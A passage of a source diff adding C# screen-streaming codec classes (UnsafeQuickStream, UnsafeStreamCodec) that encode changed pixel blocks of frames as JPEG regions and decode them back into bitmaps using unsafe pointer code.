|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[DataSize];
|
||||||
|
fixed (byte* tempPtr = temp)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||||
|
if (DataSize > 0)
|
||||||
|
{
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
for (int i = 4; DataSize > 0; )
|
||||||
|
{
|
||||||
|
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||||
|
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||||
|
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||||
|
byte[] temp = new byte[UpdateLen];
|
||||||
|
|
||||||
|
fixed(byte* tempPtr = temp)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||||
|
{
|
||||||
|
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
i += UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
}
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> updates = new List<Rectangle>();
|
||||||
|
Rectangle rect;
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
Bitmap tmp;
|
||||||
|
byte[] buffer = null;
|
||||||
|
MemoryStream m;
|
||||||
|
|
||||||
|
while (DataSize > 0)
|
||||||
|
{
|
||||||
|
byte[] tempData = new byte[4 * 5];
|
||||||
|
inStream.Read(tempData, 0, tempData.Length);
|
||||||
|
|
||||||
|
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||||
|
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||||
|
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||||
|
buffer = new byte[UpdateLen];
|
||||||
|
inStream.Read(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
|
if (onDecodeDebugScan != null)
|
||||||
|
onDecodeDebugScan(rect);
|
||||||
|
|
||||||
|
m = new MemoryStream(buffer);
|
||||||
|
tmp = (Bitmap)Image.FromStream(m);
|
||||||
|
g.DrawImage(tmp, rect.Location);
|
||||||
|
tmp.Dispose();
|
||||||
|
|
||||||
|
m.Close();
|
||||||
|
m.Dispose();
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
private bool GetPopulairPoint(Rectangle rect, ref PopulairPoint PopuPoint)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < populairPoints.Count; i++)
|
||||||
|
{
|
||||||
|
PopulairPoint point = populairPoints[i];
|
||||||
|
if (point.Rect.Width == rect.Width &&
|
||||||
|
point.Rect.Height == rect.Height &&
|
||||||
|
point.Rect.X == rect.X &&
|
||||||
|
point.Rect.Y == rect.Y)
|
||||||
|
{
|
||||||
|
PopuPoint = populairPoints[i];
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private PopulairPoint[] GetPossibleVideos()
|
||||||
|
{
|
||||||
|
List<PopulairPoint> points = new List<PopulairPoint>();
|
||||||
|
for (int i = 0; i < populairPoints.Count; i++)
|
||||||
|
{
|
||||||
|
if (populairPoints[i].Score > 30)
|
||||||
|
{
|
||||||
|
points.Add(populairPoints[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return points.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,285 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.UnsafeCodecs
|
||||||
|
{
|
||||||
|
public class UnsafeQuickStream : IUnsafeCodec
|
||||||
|
{
|
||||||
|
public override ulong CachedSize { get; internal set; }
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 0; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||||
|
}
|
||||||
|
private PixelFormat EncodedFormat;
|
||||||
|
private int EncodedWidth;
|
||||||
|
private int EncodedHeight;
|
||||||
|
private ulong[] EncodeBuffer;
|
||||||
|
|
||||||
|
private int BlockWidth = 0;
|
||||||
|
private int BlockHeight = 0;
|
||||||
|
private Bitmap decodedBitmap;
|
||||||
|
|
||||||
|
public List<Rectangle> VerifyPoints = null;
|
||||||
|
|
||||||
|
public Size CheckBlock { get; private set; }
|
||||||
|
public UnsafeQuickStream(int ImageQuality = 100)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
this.CheckBlock = new Size(50, 50);//width must be bigger then 3
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe void CodeImage(IntPtr Scan0, Rectangle OutputRect, Size InputSize, PixelFormat Format, Stream outStream)
|
||||||
|
{
|
||||||
|
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
int Stride = 0;
|
||||||
|
int RawLength = 0;
|
||||||
|
int PixelSize = 0;
|
||||||
|
|
||||||
|
switch (Format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
PixelSize = 3;
|
||||||
|
break;
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
case PixelFormat.Format32bppPArgb:
|
||||||
|
PixelSize = 4;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(Format.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
Stride = InputSize.Width * PixelSize;
|
||||||
|
RawLength = Stride * InputSize.Height;
|
||||||
|
|
||||||
|
|
||||||
|
if (EncodedWidth == 0 && EncodedHeight == 0)
|
||||||
|
{
|
||||||
|
this.EncodedFormat = Format;
|
||||||
|
this.EncodedWidth = OutputRect.Width;
|
||||||
|
this.EncodedHeight = OutputRect.Height;
|
||||||
|
|
||||||
|
byte[] temp = null;
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(OutputRect.Width, OutputRect.Height, Stride, Format, Scan0))
|
||||||
|
{
|
||||||
|
temp = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
}
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> Points = ProcessChanges(Scan0, OutputRect, Format, InputSize.Width);
|
||||||
|
|
||||||
|
VerifyPoints = Points;
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
for (int i = 0; i < Points.Count; i++)
|
||||||
|
{
|
||||||
|
Rectangle rect = Points[i];
|
||||||
|
int blockStride = PixelSize * rect.Width;
|
||||||
|
|
||||||
|
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||||
|
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||||
|
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||||
|
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
offset += blockStride;
|
||||||
|
}
|
||||||
|
TmpBmp.UnlockBits(TmpData);
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
|
||||||
|
long length = outStream.Position;
|
||||||
|
long OldPos = outStream.Position;
|
||||||
|
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||||
|
length = outStream.Position - length;
|
||||||
|
|
||||||
|
outStream.Position = OldPos - 4;
|
||||||
|
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||||
|
outStream.Position += length;
|
||||||
|
|
||||||
|
TmpBmp.Dispose();
|
||||||
|
TotalDataLength += (int)length + (4 * 5);
|
||||||
|
}
|
||||||
|
outStream.Position = oldPos;
|
||||||
|
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
private unsafe List<Rectangle> ProcessChanges(IntPtr Scan0, Rectangle OutputRect, PixelFormat Format, int ImageWidth)
|
||||||
|
{
|
||||||
|
if (EncodeBuffer == null)
|
||||||
|
{
|
||||||
|
this.BlockWidth = (int)Math.Floor((float)(OutputRect.Width / CheckBlock.Width));
|
||||||
|
this.BlockHeight = (int)Math.Floor((double)(OutputRect.Height / CheckBlock.Height));
|
||||||
|
int TotalBlocks = (int)Math.Floor((float)(BlockHeight * BlockWidth));
|
||||||
|
this.EncodeBuffer = new ulong[TotalBlocks];
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> points = new List<Rectangle>();
|
||||||
|
int StartScan = Scan0.ToInt32();
|
||||||
|
|
||||||
|
for (int y = OutputRect.Y; y < OutputRect.Height + OutputRect.Y; y += CheckBlock.Height)
|
||||||
|
{
|
||||||
|
if (y + CheckBlock.Height > OutputRect.Height)
|
||||||
|
break;
|
||||||
|
|
||||||
|
for (int x = OutputRect.X; x < OutputRect.Width + OutputRect.X; x += CheckBlock.Width)
|
||||||
|
{
|
||||||
|
if (x + CheckBlock.Width > OutputRect.Width)
|
||||||
|
break;
|
||||||
|
|
||||||
|
int EncodeOffset = GetOffset(x, y);
|
||||||
|
long offset = FastBitmap.CalcImageOffset(x, y, Format, ImageWidth);
|
||||||
|
ulong* ScanPtr = (ulong*)(StartScan + offset);
|
||||||
|
|
||||||
|
if (EncodeBuffer[EncodeOffset] != *ScanPtr)
|
||||||
|
{
|
||||||
|
EncodeBuffer[EncodeOffset] = *ScanPtr;
|
||||||
|
|
||||||
|
Rectangle cBlock = new Rectangle(x, y, CheckBlock.Width, CheckBlock.Height);
|
||||||
|
int index = points.Count - 1;
|
||||||
|
if (points.Count > 0 && (points[index].X + points[index].Width) == cBlock.X)
|
||||||
|
{
|
||||||
|
Rectangle rect = points[index];
|
||||||
|
int newWidth = cBlock.Width + rect.Width;
|
||||||
|
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||||
|
points[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
points.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return points;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Point GetOffsetPoint(int x, int y)
|
||||||
|
{
|
||||||
|
return new Point((int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth,
|
||||||
|
(int)Math.Floor((double)(x / CheckBlock.Width)));
|
||||||
|
}
|
||||||
|
|
||||||
|
private int GetOffset(int x, int y)
|
||||||
|
{
|
||||||
|
return (int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth +
|
||||||
|
(int)Math.Floor((double)(x / CheckBlock.Width));
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> updates = new List<Rectangle>();
|
||||||
|
Rectangle rect;
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
Bitmap tmp;
|
||||||
|
byte[] buffer = null;
|
||||||
|
MemoryStream m;
|
||||||
|
|
||||||
|
while (DataSize > 0)
|
||||||
|
{
|
||||||
|
byte[] tempData = new byte[4 * 5];
|
||||||
|
inStream.Read(tempData, 0, tempData.Length);
|
||||||
|
|
||||||
|
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||||
|
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||||
|
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||||
|
buffer = new byte[UpdateLen];
|
||||||
|
inStream.Read(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
|
if (onDecodeDebugScan != null)
|
||||||
|
onDecodeDebugScan(rect);
|
||||||
|
|
||||||
|
m = new MemoryStream(buffer);
|
||||||
|
tmp = (Bitmap)Image.FromStream(m);
|
||||||
|
g.DrawImage(tmp, rect.Location);
|
||||||
|
tmp.Dispose();
|
||||||
|
|
||||||
|
m.Close();
|
||||||
|
m.Dispose();
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||||
|
{
|
||||||
|
if (Length < 4)
|
||||||
|
return decodedBitmap;
|
||||||
|
|
||||||
|
int DataSize = *(int*)(CodecBuffer);
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[DataSize];
|
||||||
|
fixed (byte* tempPtr = temp)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||||
|
if (DataSize > 0)
|
||||||
|
{
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
for (int i = 4; DataSize > 0; )
|
||||||
|
{
|
||||||
|
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||||
|
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||||
|
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||||
|
byte[] temp = new byte[UpdateLen];
|
||||||
|
|
||||||
|
fixed (byte* tempPtr = temp)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||||
|
{
|
||||||
|
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
i += UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
}
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,363 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.UnsafeCodecs
|
||||||
|
{
|
||||||
|
public class UnsafeStreamCodec : IUnsafeCodec
|
||||||
|
{
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
internal set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 1; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.RequireSameSize; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public Size CheckBlock { get; private set; }
|
||||||
|
private byte[] EncodeBuffer;
|
||||||
|
private Bitmap decodedBitmap;
|
||||||
|
private PixelFormat EncodedFormat;
|
||||||
|
private int EncodedWidth;
|
||||||
|
private int EncodedHeight;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
bool UseJPEG;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initialize a new object of UnsafeStreamCodec
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ImageQuality">The quality to use between 0-100</param>
|
||||||
|
public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
this.CheckBlock = new Size(50, 1);
|
||||||
|
this.UseJPEG = UseJPEG;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||||
|
{
|
||||||
|
lock (ImageProcessLock)
|
||||||
|
{
|
||||||
|
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
int Stride = 0;
|
||||||
|
int RawLength = 0;
|
||||||
|
int PixelSize = 0;
|
||||||
|
|
||||||
|
switch (Format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
case PixelFormat.Format32bppRgb:
|
||||||
|
PixelSize = 3;
|
||||||
|
break;
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
case PixelFormat.Format32bppPArgb:
|
||||||
|
PixelSize = 4;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(Format.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
Stride = ImageSize.Width * PixelSize;
|
||||||
|
RawLength = Stride * ImageSize.Height;
|
||||||
|
|
||||||
|
if (EncodeBuffer == null)
|
||||||
|
{
|
||||||
|
this.EncodedFormat = Format;
|
||||||
|
this.EncodedWidth = ImageSize.Width;
|
||||||
|
this.EncodedHeight = ImageSize.Height;
|
||||||
|
this.EncodeBuffer = new byte[RawLength];
|
||||||
|
fixed (byte* ptr = EncodeBuffer)
|
||||||
|
{
|
||||||
|
byte[] temp = null;
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||||
|
{
|
||||||
|
temp = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
|
||||||
|
if (this.EncodedFormat != Format)
|
||||||
|
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||||
|
|
||||||
|
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||||
|
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||||
|
|
||||||
|
List<Rectangle> Blocks = new List<Rectangle>();
|
||||||
|
int index = 0;
|
||||||
|
|
||||||
|
Size s = new Size(ScanArea.Width, CheckBlock.Height);
|
||||||
|
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
|
||||||
|
|
||||||
|
int lasty = ScanArea.Height - lastSize.Height;
|
||||||
|
int lastx = ScanArea.Width - lastSize.Width;
|
||||||
|
|
||||||
|
Rectangle cBlock = new Rectangle();
|
||||||
|
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||||
|
|
||||||
|
s = new Size(ScanArea.Width, s.Height);
|
||||||
|
fixed (byte* encBuffer = EncodeBuffer)
|
||||||
|
{
|
||||||
|
for (int y = ScanArea.Y; y != ScanArea.Height; )
|
||||||
|
{
|
||||||
|
if (y == lasty)
|
||||||
|
s = new Size(ScanArea.Width, lastSize.Height);
|
||||||
|
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
|
||||||
|
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
int offset = (y * Stride) + (ScanArea.X * PixelSize);
|
||||||
|
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
|
||||||
|
{
|
||||||
|
index = Blocks.Count - 1;
|
||||||
|
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||||
|
{
|
||||||
|
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||||
|
Blocks[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Blocks.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
y += s.Height;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
|
||||||
|
{
|
||||||
|
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||||
|
x = ScanArea.X;
|
||||||
|
while (x != ScanArea.Width)
|
||||||
|
{
|
||||||
|
if (x == lastx)
|
||||||
|
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||||
|
|
||||||
|
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||||
|
bool FoundChanges = false;
|
||||||
|
int blockStride = PixelSize * cBlock.Width;
|
||||||
|
|
||||||
|
for (int j = 0; j < cBlock.Height; j++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (cBlock.Y+j)) + (PixelSize * cBlock.X);
|
||||||
|
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
|
||||||
|
FoundChanges = true;
|
||||||
|
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
}
|
||||||
|
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
if(FoundChanges)
|
||||||
|
{
|
||||||
|
index = finalUpdates.Count - 1;
|
||||||
|
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||||
|
{
|
||||||
|
Rectangle rect = finalUpdates[index];
|
||||||
|
int newWidth = cBlock.Width + rect.Width;
|
||||||
|
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||||
|
finalUpdates[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
finalUpdates.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
x += s.Width;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*int maxHeight = 0;
|
||||||
|
int maxWidth = 0;
|
||||||
|
|
||||||
|
for (int i = 0; i < finalUpdates.Count; i++)
|
||||||
|
{
|
||||||
|
if (finalUpdates[i].Height > maxHeight)
|
||||||
|
maxHeight = finalUpdates[i].Height;
|
||||||
|
maxWidth += finalUpdates[i].Width;
|
||||||
|
}
|
||||||
|
|
||||||
|
Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1);
|
||||||
|
int XOffset = 0;*/
|
||||||
|
|
||||||
|
for (int i = 0; i < finalUpdates.Count; i++)
|
||||||
|
{
|
||||||
|
Rectangle rect = finalUpdates[i];
|
||||||
|
int blockStride = PixelSize * rect.Width;
|
||||||
|
|
||||||
|
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||||
|
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||||
|
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||||
|
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
offset += blockStride;
|
||||||
|
}
|
||||||
|
TmpBmp.UnlockBits(TmpData);
|
||||||
|
|
||||||
|
/*using (Graphics g = Graphics.FromImage(bmp))
|
||||||
|
{
|
||||||
|
g.DrawImage(TmpBmp, new Point(XOffset, 0));
|
||||||
|
}
|
||||||
|
XOffset += TmpBmp.Width;*/
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
|
||||||
|
long length = outStream.Length;
|
||||||
|
long OldPos = outStream.Position;
|
||||||
|
|
||||||
|
if (UseJPEG)
|
||||||
|
{
|
||||||
|
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
base.lzwCompression.Compress(TmpBmp, outStream);
|
||||||
|
}
|
||||||
|
|
||||||
|
length = outStream.Position - length;
|
||||||
|
|
||||||
|
outStream.Position = OldPos - 4;
|
||||||
|
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||||
|
outStream.Position += length;
|
||||||
|
TmpBmp.Dispose();
|
||||||
|
TotalDataLength += (int)length + (4 * 5);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*if (finalUpdates.Count > 0)
|
||||||
|
{
|
||||||
|
byte[] lele = base.jpgCompression.Compress(bmp);
|
||||||
|
byte[] compressed = new SafeQuickLZ().compress(lele, 0, lele.Length, 1);
|
||||||
|
bool Won = lele.Length < outStream.Length;
|
||||||
|
bool CompressWon = compressed.Length < outStream.Length;
|
||||||
|
Console.WriteLine(Won + ", " + CompressWon);
|
||||||
|
}
|
||||||
|
bmp.Dispose();*/
|
||||||
|
|
||||||
|
outStream.Position = oldPos;
|
||||||
|
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||||
|
Blocks.Clear();
|
||||||
|
finalUpdates.Clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||||
|
{
|
||||||
|
if (Length < 4)
|
||||||
|
return decodedBitmap;
|
||||||
|
|
||||||
|
int DataSize = *(int*)(CodecBuffer);
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[DataSize];
|
